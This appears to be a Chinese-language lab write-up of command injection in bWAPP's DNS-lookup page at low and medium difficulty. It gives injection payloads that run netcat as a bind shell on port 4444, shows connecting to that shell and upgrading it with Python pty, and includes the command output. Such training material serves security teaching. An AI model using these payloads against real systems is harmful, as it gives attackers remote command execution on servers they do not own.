low:
很简单,只需要在查询的域名后面加一个分号然后加命令即可成功执行命令。
或者利用nc命令,反弹shell
清空输入框,直接输入:
&& nc -vlp 4444 -e /bin/bash
发现浏览器一直在转圈。
这时候打开Terminal,查看4444端口的状态,发现已经在监听:
bee@bee-box:~$ sudo netstat -plant | grep 4444
tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 17013/nc
然后再用nc命令连接到4444上:
bee@bee-box:~$ nc -vv 10.0.3.198 4444
bee-box.local [10.0.3.198] 4444 (?) open
然后就可以猥琐了:
输入:id
返回:uid=33(www-data) gid=33(www-data) groups=33(www-data)
输入:uname -a
返回:Linux bee-box 2.6.24-16-generic #1 SMP Thu Apr 10 13:23:42 UTC 2008 i686 GNU/Linux
然后利用Python的pty,获取shell
输入:
python -c "import pty;pty.spawn('/bin/bash')" //这里要注意引号啊
进入了shell:
www-data@bee-box:/var/www/bWAPP$
www-data@bee-box:/var/www/bWAPP$ pwd
pwd
/var/www/bWAPP
www-data@bee-box:/var/www/bWAPP$ ls
ls
666 rlfi.php
admin robots.txt
aim.php secret-cors-1.php
apps secret-cors-2.php
ba_captcha_bypass.php secret-cors-3.php
.......
www-data@bee-box:/var/www/bWAPP$ exit //这里是退出
exit
exit
//自己再输入一个:
exit
sent 87, rcvd 4107
bee@bee-box:~$ //此时退到了原本的系统控制台
low难度基本上就到这里。。
medium:
因为medium过滤了一些特殊字符,但是并没有过滤完全,所以我们可以这么搞:
$(nc -vlp 4444 -e /bin/bash)
|nc -vlp 4444 -e /bin/bash
然后就跟low难度一样了。
high:
无解。。。。